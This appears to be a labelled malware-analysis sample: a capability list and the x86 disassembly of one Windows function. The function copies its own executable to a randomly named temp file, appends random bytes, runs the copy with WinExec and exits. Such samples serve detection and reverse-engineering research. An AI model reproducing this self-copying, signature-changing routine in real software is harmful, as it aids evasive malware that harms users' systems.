Function at 0x401194
Capabilities:
Copy file
Create directory
Create process on windows
Encrypt data using rc4 ksa
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x738
push ebx
push esi
mov esi, 0x100000
push edi
push esi
call sub.MFC42.DLL_operatornew
xor ebx, ebx
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0x10], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 0xc
cmp byte [edi], 0x4d
je 0x401202
lea eax, [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
add esp, 0xc
push 0x64
call esi
cmp byte [edi], 0x4d
jne 0x4011e2
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
mov byte [ebp - 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x2b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x2c]
push 5
push eax
call fcn.0040107c
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
and eax, 0x1ff
push 0x40
mov dword [ebp - 4], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x234]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x130]
push 0x41c074
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x130]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
push dword [ebp - 4]
call sub.MFC42.DLL_operatornew
add esp, 0xc
cmp dword [ebp - 4], ebx
mov edi, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], edi
jbe 0x4012ee
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x14]
sub dl, al
mov byte [eax + edi], dl
inc eax
cmp eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
jb 0x4012cf
push 0x64
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call edi
push 0x64
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 4]
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x18]
call sub.MFC42.DLL_operatordelete
push dword [ebp - 0x10]
call sub.MFC42.DLL_operatordelete
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x737]
mov byte [ebp - 0x738], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x337]
mov byte [ebp - 0x338], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
lea eax, [ebp - 0x338]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x738]
push 0x41c04c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x738]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]